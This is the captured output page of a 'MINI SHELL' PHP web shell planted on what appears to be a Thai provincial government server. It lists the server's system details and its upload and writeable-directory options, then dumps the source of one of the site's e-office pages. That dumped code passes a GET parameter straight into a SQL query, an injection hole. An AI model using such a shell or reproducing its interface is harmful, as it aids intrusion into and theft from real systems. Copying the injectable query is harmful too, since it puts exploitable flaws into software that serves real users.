MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/agenda/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/agenda/report_confirm_popup.php
<?
//=========================================
// Select document type where status is '1'
// @author Kridsada Satakarn
// @date 2009/06/20
// @return a array of list document type where status is '1'
//=
session_start();
include("../../config/config.inc.php");
include("function/function.php");
include("function.listfile.php");
if(!isset($session_username)){
header("Location:login.php");
}
?>
<html>
<head>
<title>รายละเอียดรายงานการประชุม</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<LINK href="common/style.css" rel=stylesheet>
<script language='javascript' src='jquery.js'></script>
<style type="text/css">
.page {
	font						: 9px tahoma;
	font-weight			: bold; 	
	color					: #0280D5;	
	padding				: 1px 3px 1px 3px;
}	

.pagelink {
	font						: 9px tahoma;
	font-weight			: bold; 
	color					: #000000;
	text-decoration	: underline;
	padding				: 1px 3px 1px 3px;
}
.go {
	BORDER: #59990e 1px solid; 
	PADDING-RIGHT: 0.38em; 
	PADDING-LEFT: 0.38em; 
	FONT-WEIGHT: bold; 
	FONT-SIZE: 105%; 
	BACKGROUND: url(../hr3/hr_report/images/hdr_bg.png) #6eab26 repeat-x 0px -90px; 
	FLOAT: left; 
	PADDING-BOTTOM: 0px; 
	COLOR: #fff; 
	MARGIN-RIGHT: 0.38em; 
	PADDING-TOP: 0px; 
	HEIGHT: 1.77em
}
#bf .go {
	FLOAT: none
}
.go:hover {
	BORDER: #3f8e00 1px solid; 
	BACKGROUND: url(../hr3/hr_report/images/hdr_bg.png) #63a218 repeat-x 0px -170px; 
}
.q {
	BORDER-RIGHT: #5595CC 1px solid; 
	PADDING-RIGHT: 0.7em; 
	BORDER-TOP: #5595CC 1px solid; 
	PADDING-LEFT: 0.7em; 
	FONT-WEIGHT: normal; FONT-SIZE: 105%; 
	FLOAT: left; 
	PADDING-BOTTOM: 0px; 
	MARGIN: 0px 0.38em 0px 0px; 
	BORDER-LEFT: #5595CC 1px solid; 
	WIDTH: 300px; 
	PADDING-TOP: 0.29em; 
	BORDER-BOTTOM: #5595CC 1px solid; 
	HEIGHT: 1.39em

}
.tabberlive .tabbertab {
	background-color:#FFFFFF;
  height:200px;
}
</style>

<style type="text/css">
<!--
.header1 {	font-family:"MS Sans Serif", Tahoma, Arial;
	font-size:1em;
	font-weight:bold;
	color: #FFFFFF;
}
.main {	font-family:"MS Sans Serif", Tahoma, Arial;
	font-size:0.8em;
	color:#FF0000;
	font-weight:bold;
}
.normal {	font-family:"MS Sans Serif", Tahoma, Arial;
	font-size:0.8em;
}
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
}
.style1 {color: #FF0000}
-->
</style>
<script language="javascript">
function showdetail(obj){
	if(obj.value==1){
		$('#detailcomment').hide()
	}else{
	$('#detailcomment').show()
	}
}
function check(){
	if($('#select').val()==2){
		if($('#textarea').val()==""){
			alert("กรุณากรอกรายละเอียด");
		  return false;
		}
	}
	var o = new Object();
  o.type = $('#select').val();
  o.detail = $('#textarea').val();
  window.returnValue = o;
  window.close();
}
</script>

</head>
<body>

<table width="100%" border="0" cellpadding="0" cellspacing="0" style="filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0, StartColorStr='#144C85', EndColorStr='#ffffff');">

  <form name="formE" method="post" action="">

  <tr valign="top">
    <td bgcolor="#000000">
	<?
	$id=$_GET['id'];
	$strSQLe = "SELECT tbl_subject.*,org_staffgroup.gid as owner_id,org_staffgroup.groupname as owner 
	FROM tbl_subject  LEFT JOIN org_staffgroup ON tbl_subject.org_owner = org_staffgroup.gid WHERE id_sub='$id'";

	$Resulte= mysql_db_query($dbname,$strSQLe);
	$Rse = mysql_fetch_object($Resulte);
	$datearr=explode("-",$Rse->date_create);
	$date_create = ($Rse->date_create != "0000-00-00")?($datearr[2]*1)." ". $smonth_arr[$datearr[1]+0]." ".($datearr[0]) : "";
	$datearr=explode("-",$Rse->meeting_date);
	$meeting_date = ($Rse->meeting_date != "0000-00-00")?($datearr[2]*1)." ". $smonth_arr[$datearr[1]+0]." ".($datearr[0]):"";
?>
	<table width="100%" border="0" cellspacing="1" cellpadding="3">
      <tr>
        <td colspan="2" align="left" bgcolor="#B0C6E6">&nbsp;</td>
      </tr>
      <tr>
        <td align="right" bgcolor="#B0C6E6">สถานะรับรองการประชุม</td>
        <td align="left" bgcolor="#F4F4F4">
        
            <select name="select" id="select" onChange="showdetail(this)">
              <option id="op1" value="1" selected>รับรองผลการประชุม</option>
              <option id="op2" value="2">ไม่รับรองผลการประชุม</option>
            </select>
         </td>
      </tr>
      <tr id="detailcomment" style="display:none">
        <td align="right" bgcolor="#B0C6E6">รายละเอียด</td>
        <td align="left" bgcolor="#F4F4F4"><textarea  id="textarea" name="textarea" cols="50" rows="5"></textarea></td>
      </tr>
      <tr>
        <td width="26%" align="right" bgcolor="#B0C6E6">&nbsp;</td>
        <td width="74%" align="left" bgcolor="#F4F4F4"><input type="button"  onClick="check()"name="button" id="button" value="บันทึก" style="font-size:12px;width:70px;height:20px">
<input type="button" name="button" id="button" value="ปิด" style="font-size:12px;width:70px;height:20px" onClick="window.close();"></td>
      </tr>
	  
      <tr>
        <td colspan="2" align="right" bgcolor="#B0C6E6">&nbsp;</td>
      </tr>
    </table></td>
  </tr>
  </form>
  <tr valign="top">
    <td>&nbsp;</td>
  </tr>
</table>
</body>
</html>

Anon7 - 2021